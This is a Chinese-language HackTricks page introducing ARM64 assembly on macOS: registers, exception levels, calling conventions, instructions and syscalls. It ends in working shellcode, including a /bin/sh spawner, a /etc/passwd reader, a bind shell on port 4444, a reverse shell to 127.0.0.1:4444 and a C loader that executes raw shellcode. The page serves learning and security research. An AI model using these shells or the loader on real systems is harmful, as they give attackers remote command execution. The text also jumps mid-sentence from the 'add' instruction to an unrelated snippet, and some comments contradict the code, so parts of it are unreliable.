hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

28 KiB
Raw Blame History

ARM64v8基础汇编简介

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式

异常级别 - EL (ARM64v8)

在ARMv8架构中执行级别即异常级别ELs定义了执行环境的权限级别和能力。有四个异常级别从EL0到EL3每个级别都有不同的用途

  1. EL0 - 用户模式
  • 这是权限最低的级别,用于执行常规应用程序代码。
  • 在EL0运行的应用程序彼此隔离与系统软件隔离增强了安全性和稳定性。
  1. EL1 - 操作系统内核模式
  • 大多数操作系统内核在此级别运行。
  • EL1比EL0拥有更多权限并且可以访问系统资源但有一些限制以确保系统完整性。
  1. EL2 - 虚拟机监控器模式
  • 此级别用于虚拟化。在EL2运行的虚拟机监控器可以管理多个操作系统每个都在自己的EL1中这些操作系统在同一物理硬件上运行。
  • EL2提供了隔离和控制虚拟化环境的功能。
  1. EL3 - 安全监控模式
  • 这是最高权限级别,通常用于安全启动和可信执行环境。
  • EL3可以管理和控制安全和非安全状态之间的访问如安全启动、可信操作系统等

使用这些级别可以结构化和安全地管理系统的不同方面从用户应用程序到最高权限的系统软件。ARMv8对权限级别的处理有助于有效隔离系统的不同组件从而增强了系统的安全性和健壮性。

寄存器 (ARM64v8)

ARM64有31个通用寄存器,标记为x0x30。每个可以存储64位8字节的值。对于只需要32位值的操作可以使用w0w30的名称以32位模式访问相同的寄存器。

  1. x0x7 - 这些通常用作临时寄存器和传递子程序参数。
  • **x0**还携带函数的返回数据
  1. x8 - 在Linux内核中x8用作svc指令的系统调用号。在macOS中使用的是x16
  2. x9x15 - 更多的临时寄存器,常用于局部变量。
  3. x16x17 - 过程内调用寄存器。临时寄存器用于立即值。它们也用于间接函数调用和PLT过程链接表存根。
  • x16macOS中用作**svc指令的系统调用号**。
  1. x18 - 平台寄存器。它可以用作通用寄存器但在某些平台上此寄存器保留用于特定于平台的用途在Windows中指向当前线程环境块的指针或在linux内核中指向当前执行任务结构的指针。
  2. x19x28 - 这些是被调用者保存的寄存器。函数必须为其调用者保留这些寄存器的值,因此它们存储在栈中,并在返回调用者之前恢复。
  3. x29 - 帧指针,用于跟踪栈帧。当因调用函数而创建新的栈帧时,x29寄存器会存储在栈中,新的帧指针地址(sp地址)会存储在此寄存器中
  • 这个寄存器也可以用作通用寄存器,尽管它通常用作局部变量的参考。
  1. x30lr- 链接寄存器。当执行BL(带链接的分支)或BLR(带链接到寄存器的分支)指令时,它保存返回地址,通过将**pc**值存储在此寄存器中。
  • 它也可以像其他寄存器一样使用。
  1. sp - 栈指针,用于跟踪栈顶。
  • sp值应始终至少保持四字对齐,否则可能发生对齐异常。
  1. pc - 程序计数器指向下一条指令。此寄存器只能通过异常生成、异常返回和分支来更新。唯一可以读取此寄存器的普通指令是带链接的分支指令BL、BLR以将**pc地址存储在lr**(链接寄存器)中。
  2. xzr - 零寄存器。在其32位寄存器形式中也称为**wzr。可以用来轻松获取零值(常见操作)或使用subs进行比较,如subs XZR, Xn, #10,将结果存储在无处(在xzr**中)。

Wn寄存器是Xn寄存器的32位版本。

SIMD和浮点寄存器

此外,还有另外32个128位长度的寄存器可用于优化的单指令多数据SIMD操作和执行浮点运算。这些被称为Vn寄存器尽管它们也可以以64位、32位、16位和8位操作,然后它们被称为**QnDnSnHnBn**。

系统寄存器

有数百个系统寄存器也称为特殊用途寄存器SPRs用于监控控制处理器行为
它们只能使用专用的特殊指令**mrsmsr**读取或设置。

当逆向工程时,常见的特殊寄存器**TPIDR_EL0TPIDDR_EL0EL0后缀表示可以访问寄存器的最小异常级别在这种情况下EL0是常规程序运行的常规异常权限级别
它们通常用于存储
线程局部存储内存区域的基地址**。通常第一个对EL0中运行的程序可读写但第二个可以从EL0读取并从EL1如内核写入。

  • mrs x0, TPIDR_EL0 ; 将TPIDR_EL0读入x0
  • msr TPIDR_EL0, X0 ; 将x0写入TPIDR_EL0

PSTATE

PSTATE包含几个进程组件序列化到操作系统可见的**SPSR_ELx特殊寄存器中X是触发异常的权限**级别(这允许在异常结束时恢复进程状态)。
这些是可访问的字段:

  • NZ、**CV**条件标志:
  • **N**表示操作产生了负结果
  • **Z**表示操作产生了零
  • **C**表示操作产生了进位
  • **V**表示操作产生了有符号溢出:
  • 两个正数相加产生负结果。
  • 两个负数相加产生正结果。
  • 在减法中,当从较小的正数中减去较大的负数(或相反),且结果无法在给定位大小的范围内表示时。

{% hint style="warning" %} 并非所有指令都更新这些标志。像**CMPTST这样的指令会这样做还有其他带有s后缀的指令ADDS**也会这样做。 {% endhint %}

  • 当前寄存器宽度(nRW)标志如果标志值为0程序恢复后将以AArch64执行状态运行。
  • 当前异常级别EL在EL0中运行的常规程序将有值0
  • 单步执行标志(SS):调试器通过在**SPSR_ELx**中通过异常将SS标志设置为1来单步执行。程序将运行一步并发出单步异常。
  • 非法异常状态标志(IL当特权软件执行无效的异常级别转移时此标志设置为1处理器触发非法状态异常。
  • **DAIF**标志:这些标志允许特权程序选择性地屏蔽某些外部异常。
  • 如果**A为1则意味着将触发异步中止**。I配置响应外部硬件中断请求IRQs。F与快速中断请求FIRs相关。
  • 栈指针选择标志(SPS在EL1及以上运行的特权程序可以在使用自己的栈指针寄存器和用户模式的栈指针寄存器之间切换例如SP_EL1EL0之间)。通过写入**SPSel**特殊寄存器来执行此切换。这不能从EL0完成。

调用约定 (ARM64v8)

ARM64调用约定规定函数的前八个参数通过寄存器**x0x7传递。额外的参数通过传递。返回值通过寄存器x0返回如果长度为128位则同时通过x1返回。x19x30sp**寄存器必须在函数调用中保持不变。

阅读汇编中的函数时,寻找函数序言和尾声序言通常涉及保存帧指针(x29设置新的帧指针,和分配栈空间尾声通常涉及恢复保存的帧指针从函数返回

Swift中的调用约定

Swift有其自己的调用约定,可以在https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64找到

常见指令 (ARM64v8)

ARM64指令通常具有格式opcode dst, src1, src2,其中**opcode是要执行的操作**(如addsubmov等),dst是将存储结果的目标寄存器,src1src2寄存器。立即数也可以代替源寄存器使用。

  • mov: 移动一个值从一个寄存器到另一个。
  • 示例:mov x0, x1 — 这将x1中的值移动到x0中。
  • ldr: 加载一个值从内存寄存器中。
  • 示例:ldr x0, [x1] — 这将x1指向的内存位置的值加载到x0中。
  • str: 存储一个值从寄存器内存中。
  • 示例:str x0, [x1] — 这将x0中的值存储到x1指向的内存位置中。
  • ldp: 加载寄存器对。此指令从连续的内存位置加载两个寄存器。内存地址通常通过向另一个寄存器的值添加偏移量来形成。
  • 示例:ldp x0, x1, [x2] — 这将x0x1x2x2 + 8的内存位置加载。
  • stp: 存储寄存器对。此指令将两个寄存器存储到连续的内存位置。内存地址通常通过向另一个寄存器的值添加偏移量来形成。
  • 示例:stp x0, x1, [x2] — 这将x0x1存储到x2x2 + 8的内存位置。
  • add: 两个寄存器的值并将结果存储在寄存器中。
  • 语法add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
  • Xn1 -> 目标
  • Xn2 -> 操作数1
  • Xn3 | #imm -> 操作数2寄存器或立即数
  • [shift #N | RRX] -> 执行移位或调用RRX
  • 示例:add x0, x1, x2 — 这将x1x2中的值相加,并将
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. 返回: ret(使用链接寄存器中的地址将控制权返回给调用者)

AARCH32 执行状态

Armv8-A 支持32位程序的执行。AArch32 可以在两种指令集中运行:A32T32,并且可以通过**交互操作在它们之间切换。
特权的64位程序可以通过执行一个异常级别转移来安排
执行32位程序转移到较低特权的32位。
注意从64位转到32位的转换伴随着异常级别的降低例如EL1中的64位程序触发EL0中的程序。这是通过将
SPSR_ELx** 特殊寄存器的第4位设置为1来完成的,当AArch32进程线程准备执行时,而SPSR_ELx的其余部分存储**AArch32程序的CPSR。然后特权进程调用ERET** 指令,使处理器转换到**AArch32根据CPSR进入A32或T32。**

交互操作是使用CPSR的J和T位进行的。J=0T=0 表示 A32J=0T=1 表示 T32。这基本上是将最低位设置为1来指示指令集是T32。
这是在交互操作分支指令期间设置的但也可以在PC设置为目标寄存器时直接用其他指令设置。例如

另一个例子:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

寄存器

有16个32位寄存器r0-r15从r0到r14它们可以用于任何操作,但是其中一些通常是保留的:

  • r15程序计数器始终。包含下一条指令的地址。在A32中是当前地址+8在T32中是当前地址+4。
  • r11:帧指针
  • r12:过程内调用寄存器
  • r13:堆栈指针
  • r14:链接寄存器

此外,寄存器的值会备份在**banked registries中。这些是存储寄存器值的地方,允许在异常处理和特权操作中进行快速上下文切换**,避免每次都需要手动保存和恢复寄存器。
这是通过将处理器状态从CPSR保存到发生异常的处理器模式的SPSR中来完成的。在异常返回时,**CPSR会从SPSR**中恢复。

CPSR - 当前程序状态寄存器

在AArch32中CPSR的工作方式类似于AArch64中的**PSTATE,并且在发生异常时也存储在SPSR_ELx**中,以便稍后恢复执行:

字段分为几组:

  • 应用程序状态寄存器APSR算术标志可从EL0访问
  • 执行状态寄存器:进程行为(由操作系统管理)。

应用程序状态寄存器APSR

  • NZC、**V**标志与AArch64中一样
  • Q标志:在执行专门的饱和算术指令期间,每当发生整数饱和它就会被设置为1。一旦设置为**1**它将保持该值直到手动设置为0。此外没有任何指令会隐式检查其值必须手动读取它。
  • GE大于或等于标志在SIMD单指令多数据操作中使用例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。

例如,UADD8指令并行添加四对字节来自两个32位操作数并将结果存储在一个32位寄存器中。然后它根据这些结果设置APSR中的GE标志。每个GE标志对应于一个字节加法指示该字节对的加法是否溢出

**SEL**指令使用这些GE标志执行条件操作。

执行状态寄存器

  • **JT位:J应为0如果T**为0则使用A32指令集如果为1则使用T32。
  • IT块状态寄存器ITSTATE这些是10-15和25-26位。它们存储在**IT**前缀组内指令的条件。
  • E位:表示字节序
  • 模式和异常屏蔽位0-4它们决定当前的执行状态。第5位指示程序是以32位1还是64位0运行。其他4位表示当前使用的异常模式(当发生异常并且正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级
  • AIF:某些异常可以使用位**AIF禁用。如果A为1意味着将触发异步中止**。I配置为响应外部硬件中断请求IRQs。F与快速中断请求FIRs相关。

macOS

BSD系统调用

查看syscalls.master。BSD系统调用将有x16 > 0

Mach陷阱

查看syscall_sw.c。Mach陷阱将有x16 < 0,所以你需要用负数调用前面列表中的数字:_kernelrpc_mach_vm_allocate_trap-10

你也可以在反汇编器中检查**libsystem_kernel.dylib**找到如何调用这些和BSD系统调用

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} 有时候检查 libsystem_kernel.dylib 中的反编译代码比检查源代码要容易因为许多系统调用BSD和Mach的代码是通过脚本生成的查看源代码中的注释而在dylib中你可以找到正在被调用的内容。 {% endhint %}

Shellcodes

编译方法:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

提取字节:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
C代码测试shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行了解释。

{% tabs %}
{% tab title="使用 adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="带栈" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

使用 cat 读取

目标是执行 execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)因此第二个参数x1是一个参数数组在内存中这意味着一个地址栈

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

通过 fork 调用 sh 命令,这样主进程不会被终止

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

绑定 Shell

来自 https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s 的绑定 Shell 在 端口 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

反向 shell

来自 https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.srevshell 至 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式